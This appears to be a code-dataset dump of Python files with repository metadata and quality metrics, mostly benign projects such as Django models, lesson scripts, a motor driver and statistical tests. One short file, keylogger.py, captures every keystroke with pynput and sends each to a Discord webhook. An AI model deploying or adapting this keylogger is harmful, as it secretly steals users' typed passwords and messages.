hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
ca2b0dad038c52011b184c9f22c8556a8ea95861
2,721
py
Python
models/data_view.py
opendatapress/open_data_press
65912da8a4bc7268849ae944cafcfafcfc767937
[ "MIT" ]
1
2018-02-09T08:10:48.000Z
2018-02-09T08:10:48.000Z
models/data_view.py
opendatapress/open_data_press
65912da8a4bc7268849ae944cafcfafcfc767937
[ "MIT" ]
null
null
null
models/data_view.py
opendatapress/open_data_press
65912da8a4bc7268849ae944cafcfafcfc767937
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # # A data view # import logging from google.appengine.ext import db from models.data_source import DataSource from helpers.views import render_data, render class DataView(db.Model): # Valid file types valid_extensions = ['txt', 'csv', 'xml', 'json', ...
40.61194
104
0.61889
322
2,721
5.07764
0.332298
0.091743
0.051376
0.034251
0.127217
0.051376
0.019572
0.019572
0
0
0
0.000985
0.253583
2,721
67
105
40.61194
0.804037
0.079383
0
0
0
0
0.149116
0
0
0
0
0
0
1
0.106383
false
0
0.085106
0.021277
0.531915
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
ca2d6a32b815ca5da2787b5f7fd75e0d68415e07
1,956
py
Python
1-Lesson-Plans/25-Python/In-Class Python/1/Activities/04-Evr_VariableDissection/Solved/Variables-Dissect.py
BaleBase/lala
33193a7dd3563c7636493e52fa9a4956ec4b9dc6
[ "CNRI-Python" ]
null
null
null
1-Lesson-Plans/25-Python/In-Class Python/1/Activities/04-Evr_VariableDissection/Solved/Variables-Dissect.py
BaleBase/lala
33193a7dd3563c7636493e52fa9a4956ec4b9dc6
[ "CNRI-Python" ]
null
null
null
1-Lesson-Plans/25-Python/In-Class Python/1/Activities/04-Evr_VariableDissection/Solved/Variables-Dissect.py
BaleBase/lala
33193a7dd3563c7636493e52fa9a4956ec4b9dc6
[ "CNRI-Python" ]
1
2021-06-08T06:50:23.000Z
2021-06-08T06:50:23.000Z
# Part 1: Integers # ===================================== # Prints: 10 # Prints: # <class 'int'> variable_one = 10 print(variable_one) print(type(variable_one)) # Prints: 5 variable_two = 5 print(variable_two) # Prints: 15 sum_of_variables = variable_one + variable_two print(sum_of_variables) # Prints: 5 differenc...
23.285714
98
0.692229
265
1,956
4.898113
0.264151
0.059322
0.052388
0.086287
0.311248
0.205701
0.058552
0
0
0
0
0.028386
0.135481
1,956
83
99
23.566265
0.739208
0.43456
0
0
0
0
0.079439
0
0
0
0
0
0
1
0
false
0
0
0
0
0.545455
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
1
ca2e87462154619b0f1a0525ebf9520583c0d99b
7,096
py
Python
pybda/bda_02a_cor.py
OxfordSKA/bda
0f92bead29a26d18fddaf5eb2ecd6f6d92401c2d
[ "BSD-3-Clause" ]
2
2019-11-22T18:39:49.000Z
2020-03-13T04:03:50.000Z
pybda/bda_02a_cor.py
OxfordSKA/bda
0f92bead29a26d18fddaf5eb2ecd6f6d92401c2d
[ "BSD-3-Clause" ]
null
null
null
pybda/bda_02a_cor.py
OxfordSKA/bda
0f92bead29a26d18fddaf5eb2ecd6f6d92401c2d
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """Module to create corruptions.""" import numpy import os from os.path import join import time import json import pickle import shutil from numpy import array, int32 import utilities def get_time_info(ms): """.""" tb.open(ms, nomodify=True) times = numpy.unique(tb.getcol('TIME_CE...
31.537778
78
0.502678
792
7,096
4.325758
0.236111
0.025686
0.016346
0.023351
0.344425
0.277583
0.232633
0.229422
0.202569
0.161705
0
0.034117
0.322576
7,096
224
79
31.678571
0.678594
0.082159
0
0.284091
0
0
0.157399
0
0
0
0
0.004464
0
0
null
null
0
0.051136
null
null
0.045455
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
ca35cbe7d73f49c87b559fd401594579fc515ab0
226
py
Python
keylogger.py
isi-82/keylogger
fd1cbc9416ea136f637d1b91991ac1f895780ed3
[ "Unlicense" ]
null
null
null
keylogger.py
isi-82/keylogger
fd1cbc9416ea136f637d1b91991ac1f895780ed3
[ "Unlicense" ]
null
null
null
keylogger.py
isi-82/keylogger
fd1cbc9416ea136f637d1b91991ac1f895780ed3
[ "Unlicense" ]
null
null
null
from dhooks import Webhook from pynput.keyboard import Key, Listener hook = Webhook("Webhook-URL") def on_press(key): hook.send("```\n"+str(key)+"\n```") with Listener(on_press=on_press) as listener: listener.join()
22.6
45
0.70354
34
226
4.588235
0.558824
0.134615
0
0
0
0
0
0
0
0
0
0
0.132743
226
9
46
25.111111
0.795918
0
0
0
0
0
0.09292
0
0
0
0
0
0
1
0.142857
false
0
0.285714
0
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
ca38db220ea62c309c8fb318d37fc2890b039813
662
py
Python
src/differential_value_iteration/environments/mm1_queue_test.py
btanner/differential_value_iteration
5b734397cd158b6783f5fb44106774ba2a28049f
[ "Apache-2.0" ]
null
null
null
src/differential_value_iteration/environments/mm1_queue_test.py
btanner/differential_value_iteration
5b734397cd158b6783f5fb44106774ba2a28049f
[ "Apache-2.0" ]
24
2021-08-16T23:21:39.000Z
2021-11-25T20:46:17.000Z
src/differential_value_iteration/environments/mm1_queue_test.py
btanner/differential_value_iteration
5b734397cd158b6783f5fb44106774ba2a28049f
[ "Apache-2.0" ]
2
2021-08-06T21:15:49.000Z
2021-08-16T04:29:52.000Z
"""Tests for mm1_queue.""" import functools import numpy as np from absl.testing import absltest from absl.testing import parameterized from differential_value_iteration.environments import mm1_queue class MM1QueueTest(parameterized.TestCase): def test_create_mdp(self): max_stored_jobs = 5 cost_fn = func...
27.583333
77
0.719033
90
662
4.944444
0.555556
0.07191
0.08764
0.094382
0
0
0
0
0
0
0
0.022556
0.196375
662
23
78
28.782609
0.81391
0.030211
0
0
0
0
0.012579
0
0
0
0
0
0.066667
1
0.066667
false
0
0.333333
0
0.466667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
ca43eef7e1b8fecb70a831efbfc37c25411bb39d
435
py
Python
mainblog/migrations/0004_alter_tags_tagname.py
layersony/interBlogApi
f5422f6ba308ecd7e7cff4c4f29da68181a63fc5
[ "MIT" ]
null
null
null
mainblog/migrations/0004_alter_tags_tagname.py
layersony/interBlogApi
f5422f6ba308ecd7e7cff4c4f29da68181a63fc5
[ "MIT" ]
null
null
null
mainblog/migrations/0004_alter_tags_tagname.py
layersony/interBlogApi
f5422f6ba308ecd7e7cff4c4f29da68181a63fc5
[ "MIT" ]
null
null
null
# Generated by Django 3.2.9 on 2021-11-06 15:51 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('mainblog', '0003_alter_tags_tagname'), ] operations = [ migrations.AlterField( model_name='tags', name='tagname', ...
22.894737
99
0.616092
50
435
5.24
0.78
0
0
0
0
0
0
0
0
0
0
0.06875
0.264368
435
18
100
24.166667
0.75
0.103448
0
0
1
0
0.128866
0.059278
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
ca46f5b51041f2e84a8b0929fea0766296c1cd5f
365
py
Python
db/migrations/0002_auto_20191223_1142.py
dmitrytk/takkand.pw
162fd5bb0e58c419977e06ce4633177918bd6f61
[ "MIT" ]
null
null
null
db/migrations/0002_auto_20191223_1142.py
dmitrytk/takkand.pw
162fd5bb0e58c419977e06ce4633177918bd6f61
[ "MIT" ]
10
2021-03-18T23:07:30.000Z
2022-03-12T00:13:17.000Z
db/migrations/0002_auto_20191223_1142.py
dmitrytk/takkand.pw
162fd5bb0e58c419977e06ce4633177918bd6f61
[ "MIT" ]
null
null
null
# Generated by Django 3.0 on 2019-12-23 06:42 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('db', '0001_initial'), ] operations = [ migrations.AlterField( model_name='well', name='name', field=models...
19.210526
51
0.578082
39
365
5.333333
0.794872
0
0
0
0
0
0
0
0
0
0
0.082677
0.30411
365
18
52
20.277778
0.73622
0.117808
0
0
1
0
0.06875
0
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
ca492d3db1e7a431253fb27aa0253f4be2cd3179
1,985
py
Python
r_map/elaborate_tree.py
mentaal/r_map
42986e90b31018b1e7fc992a53b0f5f6e559253f
[ "MIT" ]
null
null
null
r_map/elaborate_tree.py
mentaal/r_map
42986e90b31018b1e7fc992a53b0f5f6e559253f
[ "MIT" ]
null
null
null
r_map/elaborate_tree.py
mentaal/r_map
42986e90b31018b1e7fc992a53b0f5f6e559253f
[ "MIT" ]
null
null
null
"""Module to take an existing r_map and replace all instances of ArrayedNode with its children. Also fix addresses of AddressedNodes to save the tree lookup penalty imposed within their address properties. This involves manipulating the tree in memory and providing an overridden AddressedNode which can be used when des...
33.083333
80
0.704786
239
1,985
5.736402
0.460251
0.040117
0.020423
0.026258
0
0
0
0
0
0
0
0
0.235264
1,985
59
81
33.644068
0.903162
0.300756
0
0.108108
0
0
0.004405
0
0
0
0
0
0
1
0.081081
false
0.054054
0.108108
0.027027
0.324324
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
ca4c30d22355972e25a3ae44eba09d3d2c67bd12
2,901
py
Python
cba_examples/views/table_2.py
diefenbach/cba-examples
67c484f181935a40076d3ff3cc279cedf438c358
[ "BSD-3-Clause" ]
null
null
null
cba_examples/views/table_2.py
diefenbach/cba-examples
67c484f181935a40076d3ff3cc279cedf438c358
[ "BSD-3-Clause" ]
null
null
null
cba_examples/views/table_2.py
diefenbach/cba-examples
67c484f181935a40076d3ff3cc279cedf438c358
[ "BSD-3-Clause" ]
null
null
null
from __future__ import print_function, unicode_literals from cba import components from cba.base import CBAView class TableRoot(components.Group): def init_components(self): self.initial_components = [ components.Group( css_class="ui form container", initial_co...
40.859155
106
0.454326
216
2,901
5.949074
0.328704
0.147082
0.196109
0.074708
0.374319
0.337743
0.291051
0.291051
0.291051
0.291051
0
0.006901
0.450534
2,901
70
107
41.442857
0.799247
0
0
0.35
0
0
0.09514
0.024819
0
0
0
0
0
1
0.05
false
0
0.05
0
0.15
0.016667
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
ca51bec93a8871725f379d36542bf86e0b2a84a7
1,640
py
Python
tests/test_timer.py
xsthunder/xs_lib
40d9ea2294abea5a231d018e7c6367245630e8b2
[ "MIT" ]
1
2020-11-10T08:17:37.000Z
2020-11-10T08:17:37.000Z
tests/test_timer.py
xsthunder/xs_lib
40d9ea2294abea5a231d018e7c6367245630e8b2
[ "MIT" ]
null
null
null
tests/test_timer.py
xsthunder/xs_lib
40d9ea2294abea5a231d018e7c6367245630e8b2
[ "MIT" ]
null
null
null
################################################# ### THIS FILE WAS AUTOGENERATED! DO NOT EDIT! ### ################################################# # file to edit: ./nb/timer.ipynb import sys if __name__ == '__main__': sys.path.append('..') import xs_lib.common as common import sure from datetime import datetime im...
23.098592
121
0.59939
244
1,640
3.844262
0.327869
0.051173
0.03838
0.046908
0.230277
0.230277
0.230277
0.230277
0.230277
0.230277
0
0.029253
0.207927
1,640
71
122
23.098592
0.692841
0.239024
0
0.4
1
0
0.021898
0
0
0
0
0
0
1
0.111111
false
0.022222
0.155556
0.022222
0.288889
0.044444
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
ca615c44a11941f16384fb424e7463ca48d5dba0
1,221
py
Python
setup.py
paduel/pandas_ui
ca3f0214f209e68d15573fb9518b01ad36873648
[ "MIT" ]
146
2020-06-17T04:14:40.000Z
2022-03-16T21:59:04.000Z
setup.py
paduel/pandas_ui
ca3f0214f209e68d15573fb9518b01ad36873648
[ "MIT" ]
26
2020-06-17T13:54:20.000Z
2021-12-13T12:14:06.000Z
setup.py
paduel/pandas_ui
ca3f0214f209e68d15573fb9518b01ad36873648
[ "MIT" ]
46
2020-06-17T06:14:11.000Z
2022-01-29T14:07:33.000Z
import pathlib from setuptools import setup #from distutils.core import setup setup( name = 'pandas_ui', packages = ['pandas_ui'], version = '0.1', license='MIT License', description = ' pandas_ui helps you wrangle & explore your data and create custom visualizations without digging through StackOver...
33.916667
218
0.610975
125
1,221
5.88
0.72
0.054422
0.038095
0.046259
0.092517
0.092517
0.092517
0
0
0
0
0.007813
0.266175
1,221
36
219
33.916667
0.8125
0.026208
0
0.058824
0
0.029412
0.543314
0.019344
0
0
0
0
0
1
0
true
0
0.058824
0
0.058824
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
ca6fb98607ef14400c5def23eec2923315d9fa2b
3,293
py
Python
project_1a_data_modeling_with_postgres/sql_queries.py
jpuris/udacity-data-engineering-submissions
e71e2569241c76b5e6c3cd074667b19bde4d7b9e
[ "MIT" ]
null
null
null
project_1a_data_modeling_with_postgres/sql_queries.py
jpuris/udacity-data-engineering-submissions
e71e2569241c76b5e6c3cd074667b19bde4d7b9e
[ "MIT" ]
null
null
null
project_1a_data_modeling_with_postgres/sql_queries.py
jpuris/udacity-data-engineering-submissions
e71e2569241c76b5e6c3cd074667b19bde4d7b9e
[ "MIT" ]
null
null
null
# DROP TABLES songplay_table_drop = "DROP TABLE IF EXISTS songplays;" user_table_drop = "DROP TABLE IF EXISTS users;" song_table_drop = "DROP TABLE IF EXISTS songs;" artist_table_drop = "DROP TABLE IF EXISTS artists;" time_table_drop = "DROP TABLE IF EXISTS \"time\";" # CREATE TABLES songplay_table_create = (""" CRE...
28.387931
117
0.670817
474
3,293
4.453587
0.151899
0.023685
0.028423
0.028423
0.257224
0.238276
0.124586
0.04595
0.016106
0
0
0.000788
0.229578
3,293
115
118
28.634783
0.831297
0.019131
0
0.193548
0
0.032258
0.774504
0.032258
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
ca7cc46e8c8e4b7eedde7891b3c0b03ff8e70a99
6,320
py
Python
micropython firmware/mylib_modules/stepper.py
flashypepo/myMicropython-Examples
b2b63df865b5ad471b351ca5f279135025859f5d
[ "MIT" ]
44
2016-10-29T18:53:00.000Z
2022-03-24T08:37:05.000Z
micropython firmware/mylib_modules/stepper.py
flashypepo/myMicropython-Examples
b2b63df865b5ad471b351ca5f279135025859f5d
[ "MIT" ]
null
null
null
micropython firmware/mylib_modules/stepper.py
flashypepo/myMicropython-Examples
b2b63df865b5ad471b351ca5f279135025859f5d
[ "MIT" ]
37
2016-10-26T23:07:39.000Z
2022-01-21T19:10:35.000Z
# Stepper Motor Shield/Wing Driver # Based on Adafruit Motorshield library: # https://github.com/adafruit/Adafruit_Motor_Shield_V2_Library # Author: Tony DiCola import pca9685 # Constants that specify the direction and style of steps. FORWARD = const(1) BACKWARD = const(2) SINGLE = const(1) DOUBLE = const(2) INTERLEA...
36.959064
99
0.54557
709
6,320
4.782793
0.22567
0.163669
0.206429
0.092008
0.401651
0.316131
0.255382
0.188145
0.157476
0.157476
0
0.076275
0.361076
6,320
170
100
37.176471
0.763497
0.124209
0
0.375
0
0
0.004898
0
0
0
0.009432
0
0
1
0.041667
false
0
0.006944
0
0.076389
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
ca8c5cc3fe65bbbd435e863800b01663c3b5d815
1,414
py
Python
normj.py
AROM98/ipln2
d9942279d5b6d234196113eb2292b00f3b12bf14
[ "MIT" ]
null
null
null
normj.py
AROM98/ipln2
d9942279d5b6d234196113eb2292b00f3b12bf14
[ "MIT" ]
null
null
null
normj.py
AROM98/ipln2
d9942279d5b6d234196113eb2292b00f3b12bf14
[ "MIT" ]
null
null
null
#!python3 #!/usr/local/bin # encoding: utf-8 import os from re import * import sys from getopt import getopt import pandas as pd os.system("date") #os.system("poetry -i misc2.txt -o result.json") # pegar no ficheiro do poema # retirar metadados e crirar .txt temporario só com poema # usar coisa2 neste ficheiro, ret...
19.108108
58
0.659123
225
1,414
4.08
0.391111
0.052288
0.056645
0.03268
0
0
0
0
0
0
0
0.018503
0.159123
1,414
73
59
19.369863
0.753574
0.350071
0
0.057143
0
0
0.216908
0
0
0
0
0.013699
0
1
0
false
0
0.142857
0
0.142857
0.085714
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
ca8d13ea07eda5a6096abb0bf841921b8a0004f4
614
py
Python
Histogram.py
TheoSaify/Yolo-Detector
f1ac387370982de323a4fc09109c57736b8ce8d6
[ "Apache-2.0" ]
null
null
null
Histogram.py
TheoSaify/Yolo-Detector
f1ac387370982de323a4fc09109c57736b8ce8d6
[ "Apache-2.0" ]
null
null
null
Histogram.py
TheoSaify/Yolo-Detector
f1ac387370982de323a4fc09109c57736b8ce8d6
[ "Apache-2.0" ]
null
null
null
import cv2 import numpy as np import imutils from matplotlib import pyplot as plt img = cv2.imread('img1.png',0) # color = ('b','g','r') # for i,col in enumerate(color): # histr = cv2.calcHist([img],[i],None,[256],[0,256]) # plt.plot(histr,color = col) # plt.xlim([0,256]) # plt.show() h...
23.615385
57
0.610749
97
614
3.845361
0.443299
0.053619
0.0563
0.058981
0.16622
0
0
0
0
0
0
0.067194
0.175896
614
26
58
23.615385
0.66996
0.260586
0
0
0
0
0.07565
0
0
0
0
0
0
1
0
false
0
0.307692
0
0.307692
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
ca9214f2ddb4c13d7bee6606639e425ff6450b6f
329
py
Python
student/migrations/0003_remove_student_username.py
KhudadadKhawari/the-library
a6acd2e8ce9ca350339d99775f1e7906d343c7d4
[ "MIT" ]
null
null
null
student/migrations/0003_remove_student_username.py
KhudadadKhawari/the-library
a6acd2e8ce9ca350339d99775f1e7906d343c7d4
[ "MIT" ]
null
null
null
student/migrations/0003_remove_student_username.py
KhudadadKhawari/the-library
a6acd2e8ce9ca350339d99775f1e7906d343c7d4
[ "MIT" ]
null
null
null
# Generated by Django 4.0 on 2021-12-24 04:20 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('student', '0002_student_clg_reg_no'), ] operations = [ migrations.RemoveField( model_name='student', name='username', ...
18.277778
47
0.595745
35
329
5.457143
0.8
0
0
0
0
0
0
0
0
0
0
0.077586
0.294833
329
17
48
19.352941
0.74569
0.130699
0
0
1
0
0.158451
0.080986
0
0
0
0
0
1
0
false
0
0.090909
0
0.363636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
ca9339f4332b4f70213be088c7de5c5d457e5604
418
py
Python
MultiSC/MultiServer/protocols/protocols_objects/user_log_protocol.py
hvuhsg/MultiServer
079f7be1b8fed4938e6003a81e2d03a8ea03ffd4
[ "MIT" ]
8
2019-05-25T21:17:07.000Z
2020-10-18T11:46:12.000Z
MultiSC/MultiServer/protocols/protocols_objects/user_log_protocol.py
hvuhsg/MultiServer
079f7be1b8fed4938e6003a81e2d03a8ea03ffd4
[ "MIT" ]
1
2019-05-25T21:28:06.000Z
2019-05-25T21:28:06.000Z
MultiSC/MultiServer/protocols/protocols_objects/user_log_protocol.py
hvuhsg/MultiServer
079f7be1b8fed4938e6003a81e2d03a8ea03ffd4
[ "MIT" ]
null
null
null
from ..protocol import Protocol from .logs_protocol import LogsProtocol class UserLogsProtocol(Protocol): def __init__(self): self.name = "UserLogsProtocol" self.logs_protocol = LogsProtocol() self.functions = { "upload_log": self.logs_protocol.upload_log, "delete_l...
29.857143
56
0.667464
44
418
5.977273
0.363636
0.18251
0.18251
0.144487
0
0
0
0
0
0
0
0
0.23445
418
13
57
32.153846
0.821875
0
0
0
0
0
0.086124
0
0
0
0
0
0
1
0.090909
false
0
0.181818
0
0.363636
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
ca98069cb091fd65e974456a923332e50244ac8b
484
py
Python
0x11-python-network_1/8-json_api.py
Dev-Loup/holbertonschool-higher_level_programming
af6fe9a05c87dcdbb88270eec4c7ec81d6a70d9b
[ "FSFAP" ]
null
null
null
0x11-python-network_1/8-json_api.py
Dev-Loup/holbertonschool-higher_level_programming
af6fe9a05c87dcdbb88270eec4c7ec81d6a70d9b
[ "FSFAP" ]
null
null
null
0x11-python-network_1/8-json_api.py
Dev-Loup/holbertonschool-higher_level_programming
af6fe9a05c87dcdbb88270eec4c7ec81d6a70d9b
[ "FSFAP" ]
null
null
null
#!/usr/bin/python3 """ Search API """ import requests import sys if __name__ == '__main__': data = {'q': ''} try: data['q'] = sys.argv[1] except: pass data = requests.post('http://0.0.0.0:5000/search_user', data) try: q_to_json = data.json() if not q_to_json: ...
22
79
0.522727
67
484
3.522388
0.522388
0.050847
0.118644
0.084746
0
0
0
0
0
0
0
0.02924
0.293388
484
21
80
23.047619
0.660819
0.057851
0
0.235294
0
0
0.176339
0
0
0
0
0
0
1
0
false
0.058824
0.117647
0
0.117647
0.176471
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
ca9ab792d6449ca71d84ac63d8045de4ded0d016
114,149
py
Python
scripts/jHex.py
RPG-FReeKZ/Tales-of-Destiny-2
fdf0493f1a3ae05153199085e64b8ca29916b306
[ "MIT" ]
17
2021-05-19T01:42:53.000Z
2022-01-23T13:23:59.000Z
scripts/jHex.py
RPG-FReeKZ/Tales-of-Destiny-2
fdf0493f1a3ae05153199085e64b8ca29916b306
[ "MIT" ]
6
2021-05-26T15:36:52.000Z
2021-09-23T05:55:49.000Z
scripts/jHex.py
RPG-FReeKZ/Tales-of-Destiny-2
fdf0493f1a3ae05153199085e64b8ca29916b306
[ "MIT" ]
7
2021-05-23T17:29:57.000Z
2022-03-31T01:37:55.000Z
def jHex(word): jap = list(word) List = [] for i in jap: if i == " ": List.append("9940") elif i == ",": List.append("9941") elif i == ".": List.append("9942") elif i == "・": List.append("9943") elif i == ":": ...
27.479297
31
0.363481
12,437
114,149
3.3373
0.330064
0.499687
0.0053
0.006505
0.025442
0
0
0
0
0
0
0.074177
0.454485
114,149
4,153
32
27.485914
0.592131
0
0
0.011799
0
0
0.090811
0
0
0
0
0
0
1
0.000241
false
0
0
0
0.000482
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
ca9b8ab6ce1aa3e43c4ff91b4bd83dc9639155b3
6,548
py
Python
tests/structure_tests.py
ruivieira/python-ssm
09468506637cbdb7290b6f0896c2940213c14944
[ "Apache-2.0" ]
4
2019-07-22T06:56:56.000Z
2020-12-29T20:06:06.000Z
tests/structure_tests.py
ruivieira/python-ssm
09468506637cbdb7290b6f0896c2940213c14944
[ "Apache-2.0" ]
5
2018-04-01T11:42:11.000Z
2020-09-28T05:15:05.000Z
tests/structure_tests.py
ruivieira/python-ssm
09468506637cbdb7290b6f0896c2940213c14944
[ "Apache-2.0" ]
1
2019-07-20T13:40:59.000Z
2019-07-20T13:40:59.000Z
"""structure_tests This module contains tests for the DGLM structures """ # pylint: disable=no-self-use import unittest from nose.tools import assert_equals, assert_almost_equal # type: ignore from nose.tools.nontrivial import raises # type: ignore import numpy as np from pssm.dglm import NormalDLM from pssm.structu...
47.107914
80
0.651955
958
6,548
4.338205
0.11691
0.124158
0.111646
0.148219
0.702117
0.647257
0.517084
0.443215
0.365977
0.193696
0
0.049296
0.219304
6,548
138
81
47.449275
0.763693
0.129811
0
0.111111
0
0
0.166577
0
0
0
0
0
0.474747
1
0.131313
false
0
0.060606
0
0.20202
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
1
